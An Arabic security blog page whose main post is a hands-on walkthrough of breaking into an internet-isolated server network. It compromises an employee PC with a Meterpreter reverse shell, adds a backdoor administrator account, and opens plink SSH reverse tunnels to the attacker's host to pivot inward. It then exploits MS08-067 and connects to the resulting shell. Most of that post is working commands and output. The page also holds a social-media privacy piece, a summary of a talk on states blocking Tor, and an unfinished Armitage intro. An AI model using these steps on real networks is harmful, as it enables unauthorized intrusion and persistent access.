بحث هذه المدونة الإلكترونية

اختراق شبكة غير متصلة بالإنترنت عن طريق الـ SSH Tunnel





كثيرا ما نتحدث عن الحماية مع أشخاص تقنيين ولا يشترط كل إنسان تقني أن يكون مهتم بالحماية حتى و إن كان مهندس أنظمة أو مهندس شبكات أو كلاهما.
فعندما نبدأ الحديث عن حماية الـ Enterprise خاصة نجد الجميع يٌطَمئن نفسه بأن شبكته معزولة عن الإنترنت و أن فريق العمل محمي خلف NAT و Firewall ويظن بهذا أنه يستطيع أن يستريح من عناء إنشاء تلك الشبكة الرائعة و الأمنة  (في نظره). موضوعنا اليوم هو إثبات خطأ هؤلاء و خطورة هذا التفكير على الشركات و خاصة المتوسطة و الكبيرة الحجم.

مقدمة

كما ذكرنا أنفا أن عزل الشبكات عن الإنترنت لا يعني أنها آمنة و أنه لن يستطيع أن يصل إليها أحد عبر الإنترنت.
سيكون بطل المهمة هو استعمال تقنية النفق عن طريق الـ SSH  أو SSH Tunnels . سنرى في هذا التكنيك كم هو رائع و خطير عند استخدامه لأغراض أخرى.
إليكم رسمة الشبكة التي سنخترقها اليوم.

شكل الشبكة الخارجي
أعتقد وضع هذه الشبكة  موجود  أو حتى ما يشاببه أو قريب منه جدا و بكثرة ,,
الشبكة 10.0.0.0/8: سنفترض أنها الإنترنت أو الشبكة الخرجية, و هي مكان الخطر المعروف
الشبكة 192.168.28.0/24: هي شبكة الموظفين في الشركة وهم قسم الـ IT و يستطيعون الوصول للإنترنت, لكنهم خلف Firewall/NAT
الشبكة 172.16.0.0/16: هي شبكة الخوادم وهي الشبكة المعزولة عن الإنترنت تماما.

جهاز موظف IT
جهاز أحد موظفين الـ IT: يمتلك كرتين شبكة و يستطيع الوصول إلى الإنترنت , يظهر ذلك من عملية الـ ping


Non Routable Machine
صورة من أحد السيرفرات: له كرت شبكة واحد متصل بالشبكة المعزولة عن الإنترنت

بداية المهمة ! , التسلل إلى الداخل

و بطريقة أو أخرى استطعنا أن نخترق جهاز أحد موظفين الـ IT (هنا تكمن قوة جمع المعلومات و الاستفادة منها و التلاعب بالهندسة الاجتماعية العكسية)
سنفترض أننا اخترقنا جهازه -والذي له اتصال بالانترنت-  بأي نوع من أنواع الاختراق و لنفترض أنه Client Side Attack عن طريقة ثغرة متصفح الـ IE و هي aurora و كان الـ payload هو meterpreter و استخدمنا منه الاتصال العكسي reverse_tcp.

شكل اختراق الضحية IT PC
ملاحظة: يفضل أن تقوم بنقل الـpayload إلى أي خدمة/عملية مضمونة لأن الضحية قد يغلق المتصفح و نخسر الاتصال به.
meterpreter > ps

Process list

============

PID Name Arch Session User Path

--- ---- ---- ------- ---- ----

0 [System Process]

4 System x86 0 NT AUTHORITY\SYSTEM

684 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe

792 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe

816 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe

868 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe

880 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe

1040 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe

1112 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe

1404 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe

1524 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe

1684 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe

1832 explorer.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\Explorer.EXE

200 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe

440 VMwareTray.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareTray.exe

448 VMwareUser.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareUser.exe

492 afsloader.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsloader.exe

532 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe

596 snmp.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\snmp.exe

676 VMwareService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMwareService.exe

756 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe

1380 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe

1912 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe

3228 wscntfy.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\wscntfy.exe

1252 rundll32.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\rundll32.exe
meterpreter > migrate 1832

[*] Migrating to 1832...

[*] Migration completed successfully.
رائع,,

تأمين الطريق و مد الأنفاق!!

سنقوم الأن برفع ملف plink.exe إلى جهاز الضحية حيث Plink  هو البرنامج الذي سنستخدمه لإنشاء النفق بيننا وبين جهاز الـ IT
meterpreter > upload /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\\windows\
[*] uploading  : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\
[*] uploaded   : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\\plink.exe
ثم نقوم بالحصول على على shell / سطر الأوامر على جهاز الضحية
ملاحظة: أعتدت أن أنشئ مستخدم بصلاحيات المدير على أي جهاز أقوم باختراقه و هذه طريقة من عدة طرق أتبعها لضمان العودة بطريقة أو بأخرى.
C:\Documents and Settings\vm-user>net user KING sec4ar /add
net user KING sec4ar /add
The command completed successfully.

C:\Documents and Settings\vm-user>net localgroup administrators KING /add
net localgroup administrators KING /add
The command completed successfully.

C:\Documents and Settings\vm-user>

التعامل مع الأنفاق

حتى الأن لم أدخل في موضوعي!! ,,
إذن لنبدأ ..
قاعدة هامة: كل منفذ تريد أن تتصل به على جهاز الضحية  يجب أن تنشئ له نفق خاص و يكون موجه لذلك المنفذ
أولا أريد أن أحصل (مثلا) على Remote Desktop على جهاز الضحية عن طريقة إنشاء نفق لكي أستطيع تجاوز الـFirewall/NAT الذي بيني و بينه والذي يمنعني من عمل اتصال مباشر من جهازي إلى جهازه.. لا تنسى أن اتصالنا السابق كان اتصال عكسي.
الأن جاء دور البرنامج الذي رفعناه على جهاز الصحية “Plink” , سأكتب الأمر ثم أشرحه
plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
القاعدة من الأمر السابق هي:
plink -l LUSER -pw PASSWORD -C -R LPORT:127.0.0.1:RPORT  Attacking-Machine's_IP
حيث
plink: البرنامج الذي سيقوم بإنشاء النفق
-l : سندخل إسم المستخدم لجهازنا و في مثالنا كان الـ root
-pw: كلمة مرور المستخدم و في مثالنا 123123
-R: تعني Remote Tunnel
لنشرح تفاصيل الأمر من الرسمة التالية

NAT-Tunnel
1: هو العنوان الداخلي لجهاز الضحية, أي الـ Loopback
2: هو المنفذ الخاص بجهاز الضحية و الذي سنتصل به, و هنا نريد أن نتصل RDC إذن نستخدم البورت 3389.
3: هو المنفذ الخاص بجهازنا و أنا اخترت أن يكون 3389 و بالطبع تستطيع تغييره
4: هو عنوان جهازنا الخارجي الخارجي الـ public و بالطبع تعرفون كيف تعملون عملية الـ Port redirection من أجهزة الـ modem خاصتكم.
الناتج
C:\Documents and Settings\vm-user>plink -l root -pw 123123 -C -R 3389:127.0.0.1:3389 10.0.0.100
plink -l root -pw 2122252 -C -R 3389:127.0.0.1:3389 10.0.0.100
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 09:38:a7:fc:d8:52:3b:c0:1c:11:df:1e:83:98:b1:db
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y
- للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netnetstat -nlpt
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      1151/cupsd
tcp        0      0 127.0.0.1:3389              0.0.0.0:*                   LISTEN      30480/7
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd
لاحظ الاتصال المنصت
tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN 30480/7
رائع تم إنشاء النفق بشكل صحيح ,,
الأن سنجرب الاتصال بجهاز الضحية عن طريق الـ Remote Desktop, على عنواننا الداخلي 172.0.0.1
تستطيع أن تستخدم أي برنامج (rdesktop , KRDC4), الأمر يعود إليك.
rdesktop 127.0.0.1 -g 800×600

RDC to NATed IT-Machine
الشكل الخارجي لما عملناه هو

شكل الوصول إلى سطح مكتب الضحية
تذكير: الخطوة السابق (الاتصال Remote Desktop): ليس شرطا فقد كانت لاختبار فعالية النفق. لكن الشرط هو إنشاء النفق نفسه لكي ننفذ بقية مهمتنا.

الزحف إلى العمق

الأن لنتعمق أكثر و هو محور موضعنا ,,
نريد أن نخترق جهاز في الشبكة التي لا تصل إلى الإنترنت أصلا(172.16.0.0/16), و التي يستطيع أن يصل إليها جهاز الضحية(192.168.28.128).
أي أننا سنحول كل البيانات المتجهة إلى الشبكة الداخلية الغير متصلة بالإنترنت عبر جهاز ضحيتنا
- الأن نغلق الـremote Desktop
- و نخرج من الـنفق
exit
- ثم نخرج من سطر أوامر الضحية أي نخرج من الشيل
exit
سنعود الأن إلى سطرا أوامر الـ Meterpreter
الأن سننفذ الأمر الذي سيحول كل البيانات الصادرة من جهازنا إلى الجهاز الغير متصل بالأنترنت عبر جهاز ضحيتنا الأولى
meterpreter> execute -f "plink -l root -pw 123123  -R 445:172.16.0.7:445 10.0.0.100"
Process 3520 created.

Tunnel to Non-Routable Machine
الأمر هنا هو نفس فكرة الأمر السابق إلا أننا استبدلنا الـ localhost أو الـ 127.0.0.1 بـ عنوان الجهاز الأخر (172.16.0.7) و الذي لا يصل إلى الإنترنت
ملاحظة: إذا تبادر إلى ذهنك كيف عرفنا عنوان الجهاز الأخر , فأجيب و أقول تستطيع استبدال اتصالك بالـ Remote Desktop بـأن تقوم بعملية scan و هذا استغلال أخر لوجود النفق
للتأكد من أن النفق تم إنشاءه بشكل صحيح, سنعرض الاتصالات الموجودة على جهازنا
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:445               0.0.0.0:*                   LISTEN      1151/5
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd
الأن سنقوم بعملية مسح على منافذ الجهاز 172.16.0.7 و التي تمر كل بيناتا إليه عن طريق الضحية الأولى”192.168.28.128″ فيها بسبب النفق الجديد و أصبح هو الـ loopback لجهازنا , سأبدأ بفحص خدمة الـ smb عليه.
nmap --script smb-check-vulns.nse 127.0.0.1 -p 445

Starting Nmap 5.21 ( http://nmap.org ) at 2010-08-10 22:26 AST
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 1 (1 waiting)

NSE Timing: About 0.00% done
NSE: Script Scanning completed.
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000088s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-check-vulns:
|   MS08-067: LIKELY VULNERABLE (host stopped responding)
|   Conficker: Likely CLEAN
|   regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
|_  SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

Nmap done: 1 IP address (1 host up) scanned in 50.71 seconds
رائع ,, الخدمة تعمل عليه و المنفذ مفتوح و كما رأينا من عملية المسح أنه مصاب بالثغرة MS08-067
هيا لنطبق عليه هذه الثغرة, أيضا سنستخدم الـ Payload نوعه bind_tcp و سنجعل الـ RHOST هو الـ loopbak خاصتنا أي 127.0.0.1
لنرى هل سينجح في التطبيق أم لا,,
./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp LPORT=7777 RHOST=127.0.0.1 TARGET=3 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Attempting to trigger the vulnerability...
رأينا أنه تم تنفيذ العملية بنجاح لكن ,, أين الـ shell الذي يطمح إليه أي مخترق ؟!؟
سنرى الأن ,,
لقد قمنا فعلا بالوصول و يفترض أن جهاز الضحية ينصت الأن إلى المنفذ 7777 . ما يجب عمله الأن هو إنشاء نفق جديد إلى جهاز الضحية الجديدة عبر الضحية الأولى ولكن المنفذ سيتغير من 445 إلى 7777 .
هيا بسرعة ,,
نذهب إلى الـ meterpreter المتصل بجهاز الضحية الأولى(192.168.28.128) و ننفذ التالي
execute -f "plink -l root -pw 123123  -R 7777:172.16.0.7:7777 10.0.0.100"
و كعادتنا سنتأكد من إنشاء النفق بشكل صحيح
netstat -nlpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1051/rpcbind
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1339/sshd
tcp        0      0 127.0.0.1:445               0.0.0.0:*                   LISTEN      1151/5
tcp        0      0 127.0.0.1:7777 0.0.0.0:*                   LISTEN 2009/11
tcp        0      0 0.0.0.0:37325               0.0.0.0:*                   LISTEN      1104/rpc.statd
tcp        0      0 :::111                      :::*                        LISTEN      1051/rpcbind
tcp        0      0 :::22                       :::*                        LISTEN      1339/sshd
tcp        0      0 ::1:445                     :::*                        LISTEN      1151/5
tcp        0      0 ::1:7777                    :::*                        LISTEN      2009/11
كما ذكرنا أن الضحية الجديدة الأن تنصت على المنفذ 7777 على أحر من الجمر :D
- لنتصل بها الأن عن طريق الـ Netcat , طبعا الاتصال سيكون على 127.0.0.1 عبر النفق
nc -v 127.0.0.1 7777
Connection to 127.0.0.1 7777 port [tcp/cbt] succeeded!
و الشكل الخارجي لما عملناه سابقا لنصل إلى الشبكة الثانية

شكل اختراق الشبكة الثانية - الغير متصلة بالانترنت
حتى هنا ,, أكون قد أنهيت شرحي و رمضان كريم و نتمنى لكم اختراقا شهيا ;)

هل تنشر الكثير من المعلومات عن حياتك في الشبكات الاجتماعية ؟


هناك الكثير من الناس يستخدمون مواقع الشبكات الاجتماعية في هذه الأيام ، ونحن جميعنا نستخدمها بطرق مختلفة ، بعض الناس يستخدمها بنفس الطريقة التي كان يستخدم بها غرف المحادثة (الشات) قبل عدة سنوات عندما كانت المحادثة والدردشة الشغل الشاغل للكثير من مستخدمي الأنترنت ووسيلة لقضاء الوقت عند الكثيرين !! ، البعض الآخر يستخدم مواقع الشبكات الاجتماعية كوسيلة لتضييع الوقت أثناء العمل أو الأماكن الأخرى التي يشعر فيها بالملل والضجر ويلعب فيها بعض الألعاب المختلفة لتسلية نفسه ، والبعض الأخر يستخدمها ليعبر عن نفسه فيها.
هناك وسائل قليلة يمكن الوصول إليها كمواقع الشبكات الاجتماعية لتعبر بها عما في داخلك وتسمع صوتك للآخرين وتعبر فيها بكل حرية دون قيودوشروط .
بعض الأحيان نرتاح قليلاً مع الموقع الذي نستخدمه ونقوم بتبادل الكثير من المعلومات عن انفسنا على هذه الأنواع من المواقع .
طبعاً الأمر واضح ، عندما يكون لديك موقع على شبكة الإنترنت مثل الفيسبوك حيث هناك الكثير من الناس الذين تعرفهم في الحياة الحقيقية ، فمن السهل أن تغفل للحظة وتقوم بنشر الكثير من المعلومات أكثر مما كنت تفعل في العادة .
وإذا كنت في موقع مثل تويتر ، في حين أنك لا تعرف الأشخاص في الحياة الحقيقية ، قد تقوم بالتحدث معهم طوال الوقت ومن السهل أيضاً أن تغفل أثناء الحديث وتقوم بتبادل معلومات مهمة عنك اكثر من اللازم .
لكن على الرغم من انه من السهل مشاركة المعلومات في مواقع مثل هذه , لكن يجب عليك تحديد كمية المعلومات الآمنة عنك لمشاركتها مع الأخرين ، بحيث لا تعرض نفسك للخطر أو تضر نفسك بنشر تفاصيل دقيقة عن حياتك.
عندما تكون في مثل هذه المواقع من السهل معرفة حقيقة و طبيعة وتوجه الشخص التي تتحدث معه ، والعكس بالعكس هو أيضا يستطيع معرفة توجهك وعاداتك وتصرفاتك والكثير من المعلومات المهمة التي يستطيع من خلالها الوصول إليك إن أراد ذلك . في طبيعة الحال قد يكون الأمر غير مهم للأشخاص العادييين عندما يعرفوا تفاصيل عن حياتك لكن تخيل عندما تكون معلوماتك هذه عند من لا تريد أن تصل إليه كالأجهزة الأمنية مثلاً أو احد الخصوم او المنافسين ، فقد تكون مجموعة تغريدات لك في تويتر تتكلم فيها عن نفسك أو عملك سبب في تعرضك للمخاطر ولكشف الهوية أو لكشف طبيعة عملك ومكان تواجدك أو حتى للإبتزاز.
قد مر علينا الكثير من الأشخاص ممن تعرضوا لمخاطر عديدة أثناء نشرهم لمعلومات عنهم في الإنترنت ،و قد تكون انت احد الضحايا !!
في الخاتمة عندما تكون في أحد المواقع الاجتماعية على شبكة الإنترنت ، يجب أن تكون حذر جداً مع المعلومات التي تنشرها ، فقد تعرض نفسك للمخاطر .

كيف حاولت الحكومات حجب تور

تور يستخدم حالياً لحماية شخصية المستخدمين من المراقبة التي تفرضها الحكومات او الشركات على مواطنيها. هذه المقالة هي عبارة عن تلخيص لعرض قدمه القائمون على مشروع تور في مؤتمر 28C3.



المشروع بدأ كأداة للمجهولية (جعل شخصية المستخدم الحقيقية غير معروفة) عام 2002. وفي عام 2004 تم نشر ورقة حول تصميمه.

بداية في المحاربة

بدأت محاربة تور في ٢٠٠٦ عندما قامت حكومة تايلاند بعمل فلترة لموقع تور من خلال ال DNS (خدمة اسماء النطاق) حيث تمّ تحويل زوار الموقع الى صفحة تديرها الحكومة تظهر ان الموقع محظور. الحظر كان  من قبل بعض وليس كل مزودي الخدمة في تايلاند.
شركة smartfilter/websense  كانت اول شركة تعمل على الية لحظر تور.
تور كان يستخدم قناتين من أجل إخفاء نشاط المستخدمين،الاولى، قناة مشفرة لتشفير الاتصال عبر TLS والثانية غير مشفرة تعرف بخدمة الدليل وتستخدم لمعرفة  اين يوجد محول* تور آخر. عملية الحجب تتم عن طريق قطع اي طلب HTTP GET ل /tor/
شركة Websense و Cisco وغيرهما لازالوا يستخدم هذه الطريقة مع انها قد اصبحت من الماضي وذلك لاسباب تسويقية في الأغلب.
الحظر الذي قامت بهSmartfilter امتد الى دول اخرى مثل ايران في ٢٠٠٧ حيث تمّ تحديث قواعد الفلترة، هناك تمّ نقل خدمة الدليل من قبل المشروع الى قناة مشفرة. بعد ان طردت ايران الشركة عاد طور القديم (بدون تشفير الدليل للعمل)

الحالة الإيرانية

ايران تعتبر حالة فريدة حيث تعتبر رقم ٢ من حيث مستخدمي تور. ايران اعتمدت فلترة اي اتصال مشفر ليس بسبب تور بشكل مباشر ولكنها اثرت عليه بشكل فعلي  بطريقة غير مباشرة. في يناير (كانون ثاني) 2011 قامت ايران عن طريق DPI (Deep Packet Inspection) أو الفحص المعمق للحزم بحجب تور عن طريق فلترة معامل دوفي هلمان والذي يستخدم في التشفير. في حالة استخدام Socks Proxy كان يعمل بدون مشاكل في تلك الفترة حيث ان DPI لم يقم بفلترته. سوريا تشبه ايران في مراقبتها وسيأتي تفصيل ذلك لاحقاً.
في سيبتمبر (ايلول) 2011، ال DPI كان يقوم بالبحث عن صلاحية شهادة تور حيث كان يجري تدويرها كل ساعتين في حين غالب مواقع الانترنت تقوم بذلك بشكل سنوي وهذا يساعد في الكشف عنها. شهر اكتوبر (تشرين الأول) 2011 شهد تطور في طريقة التعامل مع تور. فبدلاً من أن يتم حجبه تمّ تحديد سرعته على سبيل المثال بدلاً من 20 كيلوبت في الثانية الى 4 كيلو بت في الثانية.

الحالة الصينية

كما ذكرنا أعلاه تور يعتمد على خدمة الدليل لايجاد محوّلات تور. هذه الخدمة تعتمد على عدد محدود من الخوادم. السلطات الصينية قامت بأخذ قائمة بهذه المحوّلات ومن ثمّ حجبتها. عمليات الحجب وتخطيها مرّة بأربع مراحل
1- عبر http://bridges.torproject.org حيث سيعطي عناوين بناء على وقت الطلب وموقع الطالب. هذه تمّ حجبها كما ذكر اعلاه.
2- عن طريق ارسال بريد الكتروني من خدمة gmail الى [email protected] وهم سيقومون بإرسال عناوين محولات بعدد محدود. هذه تمّ حجبها في الصين في شهر مارس (آذار) 2010.
3-عن طريق اعطاء العناوين لصديق في شانغهاي وهو يقوم بتوزيعها عبر شبكته الاجتماعية
4- كذلك يمكن لمستخدم انشاء جسر خاص به واخبار من يعرفهم به بشكل مباشر
طريقة اخرى قامت بها الصين، عمل فحص عميق ل SSL. ثم تتبع ذلك بفحص ماهية ال SSL. هل هو تابع لشبكة تور أو خلاف ذلك. ولكن لم يأخذوا اجراء بحقه.

الحالة التونسية

الحالة التونسية فريدة حيث كانت تتم الفلترة على مستوى خط المشترك الواحد. في صيف ٢٠٠٩ حالة فريدة حيث تم فلترة  جميع المنافذ باستثناء ٨٠ و ٤٤٣ وبعض خوادم خدمة اسماء النطاق. واذا كان شخص محور اهتمام للنظام فسوف يتم السماح له بمنفذ ٨٠ فقط. لحل ذلك قام جاكوب أحد مطوّري المشروع بعمل دليل  يدعم التشفير ويعمل على منفذ ٨٠. لا زالت اجهزة شركة smartfilter  مستخدمة في تونس ولكن حسب مسؤول محلي فقط في المدارس والحكومات والجيش. الشركة بيعت الى عدة شركات والان تملكها شركة انتل. الشركات والحكومات الغربية متورطة في المراقبة. الأجهزة داخل انظمة الحجب لايوجد تنسيق بينها فمثلاً يمكن لشخص أن يقوم بعمل حجب لبرنامج سكايب دون أن يُشعر أحداً بذلك وفقاً لمقدمي العرض. الاجهزة تديرها  شركات فرنسية.

الحالة المصرية

يناير (كانون الثاني) 2011. مصر استهدفت مواقع محددة بالحجب. توتير كان يمكن الوصول اليه لان الحجب لم يكن قد تم بشكل جيّد. بعد أن تمّ إغلاق الانترنت بشكل نهائي توقف تور عن العمل. بعد سقوط النظام المصري، التقى جاكوب في مصر في ندوة مع عدد من مزودي خدمة الانترنت وسألهم إن كانوا سيقومون بالرقابة على الانترنت بعد انهيار النظام. ولكنه لم يتلق جواباً شافياً. بل إن شركة فودا فون قالت بانّها تلتزم بالقانون من حيث القيام بالحظر بغض النظر عن صحته من عدمها. (القانون لو كان يمنع الناس من الادلاء برأيهم).

الحالة الليبية

في مارس (آذار) 2011 قام النظام الليبي بتحديد سعة الانترنت المستخدمة حيث جعلها محدودة جداً بشكل يجعلها غير قابلة للاستعمال.

الحالة السورية

الحالة السورية تشابه في بعض اجراءاتها الحالة الايرانية. ولكن ما يميزها هو انّه يجري مراقبة كل بايت داخل الى وخارج من سوريا. في الحالة السورية أجهزة BlueCoat يجري استخدامها بكثرة ويتمّ تحديثها بحيث تقوم بحجب حركة تور. نظراً لأن كل شيء تتم مراقبته فإن خطأ واحد يرتكبه المستخدم اثناء تصفحه قد يكلفه حياته وهو ما حصل بالفعل للبعض. تمّ ذكر بعض الحالات التي تعرضت للقتل في العرض. مجموعة Telex قامت بالكشف عن وجود أجهزة ال BlueCoat والكشف عن سجلاتها وهو ما اعتبر خطوة مستهترة لانها تسمح للنظام في تتبع المستخدمين بوسائل اخرى مثل قائمة الاصدقاء في برنامج دردشة.
قصة طريقتان لتجاوز الحظر
الاولى عبر Ultrasurf
- تصرفه يمكن تمييزه
-يقوم بتسجيل الكثير من البيانات داخل سجله
-أدلة على حركة غير مؤكدة


مثال لسجل UltraSurf
تور
-يشبه ال SSL
-لا يعطي بيانات زيادة في السجل


مثال لسجل تور

ملاحظات عامة

الفرق بين المحول والمكتشف
المحول: يبني دوائر تور ويقوم بارسال الحركة اليها مع  التشفير الصحيح
المكتشف:  يعلم عن اي المحولات متوفر
الجسور هي حل لمشكلة الدليل
الدليل عدد محدود يمكن الحصول عليه ومن ثم حجبه. الجسور موزعة على اعداد المستخدمين وهو يصعب بشكل كبير مسألة حجبها.
كيف يتمّ منع المستخدمين من الاتصال بتور
-عبر حجب إدارة الدليل
-عبر حجب جميع كل عناوين المحولات في الدليل. يمكن التحايل عليها بتزويدها بعناوين مسموح بها داخل الدولة وهو ما سيؤدي الى حجب هذه المواقع (مثل موقع حكومي لدولة ما)
- الحجب عبر بصمة شبكة تور
- عبر حجب موقع تور نفسه
يمكن من خلال هجمات تسميم خدمة النطاق ارسال المستخدمين الى موقع مزيف للمشروع تسيطر عليه الجهة المراقبة وتقوم عبره بوضع نسخة معدلة من البرنامج تحتوي على بوابة خلفية لتلافي ذلك يمكن (يجب) القيام بفحص التوقيع الخاص بالبرنامج وذلك عبر ارسال رسالة بريدية الى [email protected]
تور يجعل عملية المراقبة صعبة للغاية حيث يمكن لطرف معرفة أن مستخدم دخل الى شبكة تور ولكن لا يعرف ما هي وجهته، وقد يعرف أن الطلب الخارج من الشبكة هو لموقع توتير ولكن لا يعرف مصدر. الحماية الأخرى لشبكة تور عند الانتقال من عدد محدود من الجسور الى ملايين الجسور وهو ما يصعب عملية حجب الشبكة.
أين المشكلة؟
المشكلة ليست في الحجب في هذه الدولة أو تلك بل في الشركات الغربية التي تقوم بتطوير مثل هذه الأدوات. تأتي شركة مثل بيونغ وتطلب من شركة سيسكو فلترة الحركة. شركة سيسكو تطلب ملايين الدولارات لتطوير مثل هذا النظام والذي تحصل عليه الانظمة القمعية بثمن بخس. اعطاء هذه الانظمة مثل هذه الادوات يشبه اعطاء القاتل لسلاح كلاشنكوف ليطلق به النار على ضحاياه.
الجدر النارية للحكومات كانت عبارة عن اجهزة منع بدون معرفة للحالة (اجهزة حجب بسيطة). الان الشركات التجارية (الأمريكية) تنتج نظم مراقبة معقدة. شركات مثل
BlueCoat
Smartfilter
Websense
Nokia
Cisco
علينا ان نري هذه الشركات اقتصادياً (عبر المقاطعة ) وانسانيا  (حقوق الانسان) انها تقوم بعمل خطير يمكن ان يخسر اناس ارواحهم بسببه.

منقول


لقد تحدثنا كثيرا عن مشروع الميتاسبلويت و شرحنا استخداماته المختلفة في اكثر من موضوع , فهو يعد من أهم الادوات المستخدمة في مجال اختبار الاختراق. نظرا لكبر المشروع و اساتخداماته الكثيرة أصبح استخدام البرنامج من سطر الأوامر صعب نسبيا, و لهذا ظهرت بعض الواجهات الرسومية لتسهيل و تسريع استخدام هذا المشروع الظخم.

Armitage: هي واجهة رسومية مخصصة لتسهيل و تسريع استخدام مشروع الميتاسبلويت , فهي تمكننا من القيام بجميع الأمور البسيطة و المتقدمة التي يمكننا القيام بها من سطر الاوامر لا و بل بشكل اسرع و أسهل.
بامكاننا استخدام الواجهة للقيام بكل شيء تقريبا من اكتشاف الاجهزة المتصلة في الشبكة , اكتشاف المنافذ المفتوحة , اختيار الثغرة المناسبة , استغلال الثغرة , اختراق الجهاز , و حتى اختراق الاجهزة المتصلة بالجهاز المخترق .كل هذا باستخدام مشروع الميتاسبلويت و من خلال واجهة رسومية جميلة و سهلة الاستخدام.

خصائص الواجهة:

  • ترتيب الاهداف المضافة أو المكتشفة في قسم مساحة العمل مما يمكننا من معرفة الاجهزة التي نعمل عليها و الاجهزة التي نجحنا في اختراقها.
  • عمل مسح لمعرفة المنافذ المفتوحة في الجهاز الهدف.
  • عمل مسح لمعرفة الثغرات المصاب بها الهدف.
  • في حالة العثور على استغلال لثغرة معينة ,Armitage يقوم بالتحقق من امكانية استغلال هذه الثغرة.
  • امكانية تنفيذ العديد من الهجمات بشكل سهل و اوتوماتيكي مثل  db_autopwn و browser_autopwn.
  • تسهل من استخدام Mterpreter بشكل كبير.
  • تسهل من عمل Pivoting.
  • تسهل القيام بالكثير من الامور الاخرى مثل تكوين backdoor او التنسط على منفذ معين أو تنفيذ هجمات Pass The Hash.
  • امكانية استخدام سطر الأوامر من داخل الواجهة ... و الكثير.

متطلبات التشغيل:

  • Java 1.6.0+
  • Metasploit 3.5+
  • قاعدة بيانات ليتم تخزين المعلومات بها
تركيب الواجهة سهل كل ما علينا فعله هو فك ضغطها في المكان المناسب.

استخدام الواجهة:

في البداية يجب ان نقوم بتشغيل خادم RPC في الميتاسبلويت حتى تتمكن الواجهة من الاتصال بالمشروع و التحكم به. نفذ الأمر التالي لتشغيل الخادم بأسم مستخدم msf وكلمة مرور 123456
msfrpcd -f -U msf -P 123456 -t Basic -S
بعدها نذهب الى مجلد الواجهة و ننفذ الامر
bash armitage.sh
سيسألنا البرنامج عن اسم المستخدم و كلمة المرور للخادم و عن معلومات قاعدة البيانات.

واجهة المستخدم:

واجهة المستخدم مقسمة الى ثلاثة أقسام:
